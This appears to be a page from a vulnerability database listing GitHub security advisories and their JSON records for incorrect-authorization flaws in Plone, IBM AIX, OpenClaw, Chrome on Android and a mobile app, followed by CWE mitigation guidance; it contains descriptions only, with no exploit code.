  "published": "2022-05-17T04:49:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4198"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=978480"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/plone/Plone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/plone/PYSEC-2014-62.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/Products.PloneHotfix20130618"
    },
    {
      "type": "WEB",
      "url": "http://plone.org/products/plone-hotfix/releases/20130618"
    },
    {
      "type": "WEB",
      "url": "http://plone.org/products/plone/security/advisories/20130618-announcement"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/oss-sec/2013/q3/261"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Plone\u0027s authenticated users able to alter their password despite of policy definition"
}

GHSA-QJXQ-6V9G-FX7F

Vulnerability from github – Published: 2024-12-25 15:30 – Updated: 2025-09-29 18:33
VLAI
Details

IBM AIX 7.2, 7.3, VIOS 3.1, and 4.1

could allow a non-privileged local user to exploit a vulnerability in the AIX perfstat kernel extension to cause a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-47102"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-25T15:15:06Z",
    "severity": "MODERATE"
  },
  "details": "IBM AIX\u00a07.2, 7.3, VIOS 3.1, and 4.1\n\ncould allow a non-privileged local user to exploit a vulnerability in the AIX perfstat kernel extension to cause a denial of service.",
  "id": "GHSA-qjxq-6v9g-fx7f",
  "modified": "2025-09-29T18:33:09Z",
  "published": "2024-12-25T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47102"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7179826"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QM2M-28PF-HGJW

Vulnerability from github – Published: 2026-03-27 22:30 – Updated: 2026-04-10 17:29
VLAI
Summary
OpenClaw: Gateway Plugin HTTP Auth Grants Unrestricted operator.admin Runtime Scope to All Callers
Details

Summary

Gateway Plugin HTTP auth: "gateway" Mints operator.admin Runtime Scope

Affected Packages / Versions

  • Package: openclaw
  • Affected versions: <= 2026.3.24
  • First patched version: 2026.3.25
  • Latest published npm version at verification time: 2026.3.24

Details

Gateway-authenticated plugin HTTP routes previously created a runtime scope set that included operator.admin regardless of caller-granted scopes. Commit ec2dbcff9afd8a52e00de054b506c91726d9fbbe keeps plugin HTTP runtime scopes least-privileged and preserves caller scope boundaries.

Verified vulnerable on tag v2026.3.24 and fixed on main by commit ec2dbcff9afd8a52e00de054b506c91726d9fbbe.

Fix Commit(s)

  • ec2dbcff9afd8a52e00de054b506c91726d9fbbe
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T22:30:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nGateway Plugin HTTP auth: \"gateway\" Mints operator.admin Runtime Scope\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Affected versions: `\u003c= 2026.3.24`\n- First patched version: `2026.3.25`\n- Latest published npm version at verification time: `2026.3.24`\n\n## Details\n\nGateway-authenticated plugin HTTP routes previously created a runtime scope set that included `operator.admin` regardless of caller-granted scopes. Commit `ec2dbcff9afd8a52e00de054b506c91726d9fbbe` keeps plugin HTTP runtime scopes least-privileged and preserves caller scope boundaries.\n\nVerified vulnerable on tag `v2026.3.24` and fixed on `main` by commit `ec2dbcff9afd8a52e00de054b506c91726d9fbbe`.\n\n## Fix Commit(s)\n\n- `ec2dbcff9afd8a52e00de054b506c91726d9fbbe`",
  "id": "GHSA-qm2m-28pf-hgjw",
  "modified": "2026-04-10T17:29:55Z",
  "published": "2026-03-27T22:30:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qm2m-28pf-hgjw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/ec2dbcff9afd8a52e00de054b506c91726d9fbbe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Gateway Plugin HTTP Auth Grants Unrestricted operator.admin Runtime Scope to All Callers"
}

GHSA-QM38-G6P6-R6VR

Vulnerability from github – Published: 2023-01-10 21:30 – Updated: 2023-01-13 15:30
VLAI
Details

Inappropriate implementation in in Permission prompts in Google Chrome on Android prior to 109.0.5414.74 allowed a remote attacker to bypass main origin permission delegation via a crafted HTML page. (Chromium security severity: Medium)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-0133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-10T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in in Permission prompts in Google Chrome on Android prior to 109.0.5414.74 allowed a remote attacker to bypass main origin permission delegation via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-qm38-g6p6-r6vr",
  "modified": "2023-01-13T15:30:27Z",
  "published": "2023-01-10T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0133"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1375132"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-10"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202311-11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QM7M-G6P5-JMMR

Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2023-08-08 15:31
VLAI
Details

Mobile application "Testes de Codigo" 11.4 and prior allows an attacker to gain access to the administrative interface and premium features by tampering the boolean value of parameters "isAdmin" and "isPremium" located on device storage.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-16T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Mobile application \"Testes de Codigo\" 11.4 and prior allows an attacker to gain access to the administrative interface and premium features by tampering the boolean value of parameters \"isAdmin\" and \"isPremium\" located on device storage.",
  "id": "GHSA-qm7m-g6p5-jmmr",
  "modified": "2023-08-08T15:31:16Z",
  "published": "2022-05-24T17:42:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25648"
    },
    {
      "type": "WEB",
      "url": "https://vrls.ws/posts/2021/02/cve-2021-25648-mobile-application-testes-de-codigo-privilege-escalation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.